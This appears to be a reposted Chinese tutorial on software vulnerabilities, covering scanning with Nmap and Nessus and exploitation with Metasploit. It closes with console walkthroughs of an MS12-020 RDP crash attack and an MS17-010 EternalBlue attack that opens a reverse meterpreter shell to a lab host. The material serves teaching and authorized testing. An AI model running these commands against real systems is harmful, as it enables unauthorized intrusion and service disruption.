安全漏洞的检测利用

安全漏洞的检测&利用

  • 一、安全漏洞的基本概念
    • 1.1、什么是漏洞
    • 1.2、漏洞的简单理解
    • 1.3、微软的RPC漏洞与蠕虫病毒
    • 1.4、微软经典的蓝屏漏洞
    • 1.5、Heartbleed(心脏滴血)漏洞
    • 1.6、破壳漏洞CVE-2014-6271
    • 1.7、漏洞的危害
    • 1.8、漏洞的成因
    • 1.9、漏洞的信息的组成
    • 1.10、漏洞信息管理
  • 二、安全漏洞的基本概念
    • 2.1、漏洞检测技术
    • 2.2、常见的系统漏洞扫描器
    • 2.3、系统漏洞扫描的流程
    • 2.4、漏洞识别原理
    • 2.5、利用NMAP扫描漏洞
  • 三、Nessus的使用
    • 3.1、NESSUS简介
    • 3.2、NESSUS的功能介绍
    • 3.3、常见漏洞扫描的使用方法
    • 3.4、NESSUS的使用
    • 3.5、NESSUS的报告解读
  • 四、Matesploit介绍与漏洞利用
    • 4.1、Metasploit的简介
    • 4.2、Metasploit常用的命令
    • 4.3、metasploit攻击流程与思路
    • 4.4、使用metasploit进行漏洞利用
      • 4.4.1、使用metasploit进行ms12-020漏洞利用
      • 4.4.2、使用metasploit进行ms17-010漏洞利用

一、安全漏洞的基本概念

1.1、什么是漏洞

  • 漏洞Vulnerability)又叫脆弱性,这一概念早在1947年冯·诺依曼建立计算机系统结构理论时就有涉及,他认为计算机的发展和自然生命有相似性,一个计算机系统也有天生的类似基因的缺陷,也可能在使用和发展过程中产生意想不到的问题。
  • 1970 - 80年代,早期黑客的出现和第一个计算机病毒的产生,软件漏洞逐渐引起人们的关注。
  • 随着计算机应用的发展和互联网络的出现,漏洞相继在软件、硬件、管理过程,甚至人的环节出现,引起病毒泛滥、黑客猖獗,使得安全漏洞成为网络空间的一个现实、热门话题。

1.2、漏洞的简单理解

在这里插入图片描述

1.3、微软的RPC漏洞与蠕虫病毒

在这里插入图片描述

1.4、微软经典的蓝屏漏洞

  • MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞。
  • 远程桌面协议(RDP,Remote Desktop Protocol)一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。Windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化的或已经删除的对象,导致任意代码执行,然后控制系统。
  • 实际使用过程中通常用于造成蓝屏攻击。

在这里插入图片描述

1.5、Heartbleed(心脏滴血)漏洞

  • 2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160)。OpenSSL的Heartbleed模块存在一个漏洞,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。
  • SSL(安全套接层)协议是使用最为普遍网站加密技术,而OpenSSL则是开源的SSL套件,为全球三分之二的web服务器所使用。Web服务器正是通过它来将密钥发送给访客然后在双方的连接之间对信总进行加密。
  • 2014年4月9日,Heartbleed(意为“心脏出血”)的重大安全漏洞被曝光,一位安全行业人士在知乎上透露,他在某著名电商网站上用这个漏洞尝试读取数据,在读取200次后,获得了40多个用户名、7个密码,用这些密码,他成功地登录了该网站。

在这里插入图片描述

1.6、破壳漏洞CVE-2014-6271

  • bash漏洞是控制Linux计算机命令提示符的软件中存在的漏洞。
  • bash是一个为GNU计划编写的Unix shell。它的名字是一系列缩写:Bourne-Again SHell,Bourne shell是一个早期的重要shell,由史蒂夫·伯恩在1978年前后编写,并同Version7 Unix一 起发布。
  • 2014年9月25日,外媒曝出一个广泛存在于主流操作系统的漏洞bash,该漏洞会影响到Redhat、CentOS、Ubuntu、Debian、Fedora、AmazonLinux、OSX10.10等平台。
  • 在实际的利用中,破壳漏洞常用于权限提升。

在这里插入图片描述

1.7、漏洞的危害

  • 远程控制
  • 信息泄露
  • 拒绝服务
  • 权限提升

1.8、漏洞的成因

  • 实现漏洞
    • 实现漏洞是安全漏洞中最大的一类,大多数我们接触到的安全漏洞都属于这一类。
    • 实现类漏洞是由于在程序编码时不够严谨或对于安全性的考虑不周而产生的漏洞,缓冲区溢出类漏洞是最典型的实现漏洞。
  • 设计漏洞
    • 设计漏洞主要是指软件、硬件和固件在设计时对于安全性考虑不周导致的漏洞。
    • 例如F5 BIG-ip远程绕过验证漏洞是由于F5设备的SSH登录模块内置了一个可用于登录的秘钥文件,这个秘钥被泄露后任意获取该秘钥的用户都可以登录任意一台相关版本的设备。
  • 配置漏洞
    • 配置漏洞是由于软件的默认配置或者不恰当的配置导致的安全漏洞。
    • 例如弱口令或默认口令就是一种常见的配置漏洞。在Windows NT系统中,默认情况下会允许远程用户建立空会话,枚举系统里的各项Net BIOS信息。这里空会话指可以用空的用户名和空的口令通过Net BIOS协议登录到远程的Windows系统中。

1.9、漏洞的信息的组成

  • 漏洞的主要组成部分:

    • 漏洞名称
    • 发布日期
    • 漏洞编号
    • 风险等级
    • 影响范围
    • 漏洞描述
    • 解决方案
      在这里插入图片描述
  • 漏洞风险等级评估:

CVSS(基础分值)

  1. CVSS分值:10 [严重(HIGH)]
  2. 机密性影响:COMPLETE [完全的信息泄露导致所有系统文件暴露]
  3. 完整性影响:COMPLETE [系统完整性可被完全破坏]
  4. 可用性影响:COMPLETE [可能导致系统完全宕机]
  5. 攻击复杂度:LOW [漏洞利用没有访问限制]
  6. 攻击向量:NETWORK [攻击者不需要获取内网访问权或本地访问权]
  7. 身份认证:NONE [漏洞利用无需身份认证]

1.10、漏洞信息管理

  • CVE(Common Vulnerabilities & Exposures,通用漏洞披露)
  • 美国国家漏洞数据库(NVD)
  • http://cve.mitre.org CVE官网
  • http://www.cnnvd.org.cn/index.html 国家信息安全漏洞库
  • http:/www.nsfocus.net/ 绿盟科技
  • http://www.scap.org.cn/ SCAP 安全内容自动化协议中文社区

二、安全漏洞的基本概念

2.1、漏洞检测技术

1、目标:研究专门的技术手段和方法,建立多角度的漏洞检测能力

  • 经验向理论转化
  • 形成自动化、规模化能力

2、 方法:

  • 静态分析(分析代码)
  • 动态分析(漏洞扫描,又可分为本地扫描和远程扫描)

2.2、常见的系统漏洞扫描器

系统漏洞扫描器是相对于WEB应用漏洞扫描器而言扫描器,主要是针对操作系统和各类通用性较强的软件应用进行漏洞检测的工具。

  • 软件类:
    • NESSUS
    • OpenVAS
    • namp
  • 硬件类:
    • 绿盟远程安全评估系统
    • 启明天镜脆弱性扫描与管理系统
    • 杭州迪普漏洞扫描系统
    • 榕基风险管理系统
    • 网御漏洞扫描系统

2.3、系统漏洞扫描的流程

系统漏洞扫描基本流程:
在这里插入图片描述

2.4、漏洞识别原理

漏洞识别的主要方法可以分为原理扫描推断扫描两类,在实际实现的过程中扫描器开发者会根据漏洞的特点不同选择不同的漏洞识别技术来进行漏洞识别。
在这里插入图片描述

2.5、利用NMAP扫描漏洞

  • 常见的NMAP脚本扫描:
    • 命令格式:nmap --script=<类别参数>
    • 脚本扫描参数:
      • broadcast 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
      • brute 提供暴力破解方式,针对常见的应用如http/snmp等
      • default 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
      • discovery 获取网络更多的信息,如SMB枚举、SNMP查询等
      • exploit 利用已知的漏洞入侵系统
      • fuzzer 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
      • intrusive 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
      • malware 探测目标机是否感染了病毒、开启了后门等信息
      • safe此类与intrusive相反,属于安全性脚本
      • version 负责增强服务与版本扫描(VersionDetection)功能的脚本
      • vuln负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
  • 使用nmap --script=vuln 10.10.10.135扫描10.10.10.135中常是否有常见的漏洞
    • 最后发现有ms08-067等高危漏洞
      在这里插入图片描述
      在这里插入图片描述

三、Nessus的使用

3.1、NESSUS简介

Nessus是目前全世界最多人使用的系统漏洞扫描与分析软件,具有能够提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。可同时在本机或远端上摇控,进行系统的漏洞分析扫描,运作效能能随着系统的资源而自行调整。可自行定义插件(Plug-in)等特性。

3.2、NESSUS的功能介绍

  • 打开浏览器输入https://localhost:8834进入登录页面输入帐号密码登录NESSUS

  • 在首页选择newscans新建一个扫描任务,新建任务时需要对扫描进行选择或配置,带有upgrade标签的是需要升级成企业版或者专业办才能使用。
    在这里插入图片描述
    在这里插入图片描述

  • scanLibrary中选择BasicNetworkScan,进行配置,通常情况下只对General(一般选项)、Discovery(主机发现)、Assessment(风险评估)、及Advanced(高级选项)进行配置。

  • General(一般选项)
    在这里插入图片描述

  • Discovery(主机发现)
    在这里插入图片描述

  • Assessment(风险评估)
    在这里插入图片描述

  • 及Advanced(高级选项)
    在这里插入图片描述

3.3、常见漏洞扫描的使用方法

在这里插入图片描述

3.4、NESSUS的使用

使用NESSUS进行扫描的具体步骤:
1、在NewScan -> BasicNetworkScan下设置项目名称与描述,设置归属栏目为My scans,输入目标主机地址或网段。
在这里插入图片描述

2、可在首页查看扫描记录,点击对应的扫描任务可查看任务可查看任务的详细信息。
在这里插入图片描述
3、选择扫描任务进入后可查看扫描信息。
在这里插入图片描述

4、点击要查看的漏洞,可获取该漏洞的介绍、漏洞对应的解决方案、生成原因、涉及到的端口和主机信息。
在这里插入图片描述

在这里插入图片描述

3.5、NESSUS的报告解读

  • 漏洞风险等级
  • 漏洞描述
  • 漏洞涉及服务端口

四、Matesploit介绍与漏洞利用

4.1、Metasploit的简介

Metasploit就是一个漏洞利用框架。全称叫做TheMetasploitFramework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。

4.2、Metasploit常用的命令

Metasploit的常用命令:

  1. show exploits显示可用的渗透攻击模块。
  2. search用来搜寻一些渗透攻击模块,可以进行模糊匹配。
  3. use使用某个渗透攻击模块,可以通过use命令来使用showsearch出来的渗透模块。
  4. show options显示参数当选择渗透模块后,使用show options会显示该模块所需设置的参数。
  5. set命令是用来设置某些选项的,比如使用set命令设置,攻击模块的options参数;设置攻击载荷payloads时,也是用set命令。
  6. exploit命令,设置完所有参数时,使用exploit命令,开始进行攻击。

4.3、metasploit攻击流程与思路

使用Metasploit的具体思路:

  1. 搜索攻击模块;使用命令:search+漏洞信息或编号
  2. 使用某个模块;使用命令:use
  3. 查看配置选项;使用命令:show options
  4. 设置选项值;使用命令:set
  5. 开始攻击;使用命令:run/exploit

在这里插入图片描述

4.4、使用metasploit进行漏洞利用

4.4.1、使用metasploit进行ms12-020漏洞利用

1、在kali里面打开metasploit漏洞利用框架。
在这里插入图片描述

2、搜索ms12-020漏洞利用模块。

msf6 > search ms12-020

在这里插入图片描述
3、使用检测模块检测目标主机是否存在ms12-020漏洞。

msf6 > use auxiliary/scanner/rdp/ms12_020_check
msf6 auxiliary(scanner/rdp/ms12_020_check) > show options 	#查看需要配置的选项
msf6 auxiliary(scanner/rdp/ms12_020_check) > set rhosts 192.168.9.131	#目标主机的IP地址
rhosts => 192.168.9.131
msf6 auxiliary(scanner/rdp/ms12_020_check) > show options 
msf6 auxiliary(scanner/rdp/ms12_020_check) > run

在这里插入图片描述
4、使用攻击模块进行攻击。

msf6 > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > show options 
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > set rhosts 192.168.9.131	
rhosts => 192.168.9.131
msf6 auxiliary(dos/windows/rdp/ms12_020_maxchannelids) > run

在这里插入图片描述
在这里插入图片描述
5、成功。

4.4.2、使用metasploit进行ms17-010漏洞利用

1、在kali里面打开metasploit漏洞利用框架。
在这里插入图片描述

2、搜索ms17-010漏洞利用模块。

msf6 > search ms17-010

在这里插入图片描述
3、使用检测模块检测目标主机是否存在ms17-010漏洞。

msf6 > use auxiliary/scanner/smb/smb_ms17_010 
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options 
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.9.131
rhost => 192.168.9.131
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

在这里插入图片描述

4、使用攻击模块进行攻击。

msf6 > use  exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options 
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.9.131
rhosts => 192.168.9.131
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.9.148
lhost => 192.168.9.148
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

在这里插入图片描述
在这里插入图片描述
5、成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/13409.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

electron+vue3全家桶+vite项目搭建【21】自定义窗口拖拽移动

引入 如果你尝试过透明窗口&#xff0c;并控制透明部分事件击穿&#xff0c;就会发现使用 drag属性样式去控制窗口拖拽会导致点击事件失效&#xff0c;并且带drag属性的窗口移动到另一个窗口的透明部分会有窗口乱动的各种BUG&#xff0c;于是&#xff0c;这便需要我们自己去实…

mac上 如何批量在文件名后加相同的文字?

mac上如何批量在文件名后加相同的文字&#xff1f;不管你是使用windows电脑还是使用mac电脑&#xff0c;很多小伙伴都会在电脑上进行文件批量重命名的操作&#xff0c;不过这项操作对于使用windows系统电脑的小伙伴来说会简单一些&#xff0c;因为在网上可以搜索到很多这样的教…

软考:中级软件设计师:计算机体系结构,CISC和RISC,Flynn分类,指令流水线,吞吐率,效率

软考&#xff1a;中级软件设计师:计算机体系结构 提示&#xff1a;系列被面试官问的问题&#xff0c;我自己当时不会&#xff0c;所以下来自己复盘一下&#xff0c;认真学习和总结&#xff0c;以应对未来更多的可能性 关于互联网大厂的笔试面试&#xff0c;都是需要细心准备的…

LabVIEW开发X射线图像增强

LabVIEW开发X射线图像增强 X射线图像在临床诊断中起着重要作用。但是&#xff0c;由于各种原因&#xff0c;例如不均匀&#xff0c;低照度条件和一些噪点&#xff0c;图像质量通常不是很好。因此有必要增强这些图像&#xff0c;以方便后续处理或诊断。模糊集论是开发图像处理中…

SpringBoot第19讲:SpringBoot 如何保证接口幂等

SpringBoot第19讲&#xff1a;SpringBoot 如何保证接口幂等 在以SpringBoot开发Restful接口时&#xff0c;如何防止接口的重复提交呢&#xff1f; 本文是SpringBoot第19讲&#xff0c;主要介绍接口幂等相关的知识点&#xff0c;并实践常见基于Token实现接口幂等。 文章目录 Spr…

LLaMA: Open and Efficient Foundation Language Models

背景 用最少的计算资源&#xff0c;解决了LLM大模型预测问题&#xff0c;训练了一些列的LLaMa模型&#xff0c;在参数量比较少的情况下&#xff0c;达到业界大模型效果。 主要贡献就是提升了LLM模型的训练速度和效率&#xff0c;在小容量的基础上&#xff0c;大大提升了模型的…

基于模型预测算法的混合储能微电网双层能量管理系统研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

最长公共子序列LCA

最长连续公共子序列 题目链接:3692. 最长连续公共子序列 - AcWing题库 /*解法:定义dp[i1][j1]为以a[i]结尾的字符串和b[j]结尾的字符串的最长连续公共子序列那么对于a[i] b[j]的时候 dp[i1][j1] dp[i][j]1否则为0 其他就是细枝末节 */ #include<iostream> #include<…

【底部消息红点提示】uniapp开发小程序时,使用uni.setTabBarBadge设置底部菜单的红点

一、实现的效果 功能描述&#xff1a;无论点击底部的哪个菜单栏&#xff0c;都可以看到第二个菜单栏下显示的红点通知。 如果只在人脉当前页面设置的话&#xff0c;当你在第二个菜单栏的页面中调用uni.setTabBarBadge方法设置红点后&#xff0c;切换到第一个菜单栏的页面时&am…

基础算法-前缀和

1 算法笔记 2.代码示例 3.代码解析 #include<iostream> using namespace std; const int maxn 1010000; int a[maxn],s[maxn];//a数组是用来存放数组的&#xff0c;s是用来存放前n项数组的和 int m,n;int main(){scanf("%d%d",&n,&m);for(int i1;i&l…

怎么用转转大师工具旋转PDF文件页面

有时候我们会在网上下载一下PDF格式文件&#xff0c;下载的PDF文件中可能会出现页面倒过来的情况&#xff0c;遇到这种情况我们需要先将PDF文件旋转到正确的角度才能继续阅读使用&#xff0c;那么有哪些方法可以快速旋转PDF页面呢&#xff1f; 可以使用转转大师工具快速旋转PD…

Django_测试模块(六)

目录 开始写我们的第一个测试 首先得有个 Bug 创建一个测试来暴露这个 bug 运行测试 修复这个 bug 更全面的测试 测试视图 针对视图的测试 Django 测试工具之 Client 改善视图代码 测试新视图 测试 DetailView 集中管理用例文件 使用Django测试运行器 源码等资料…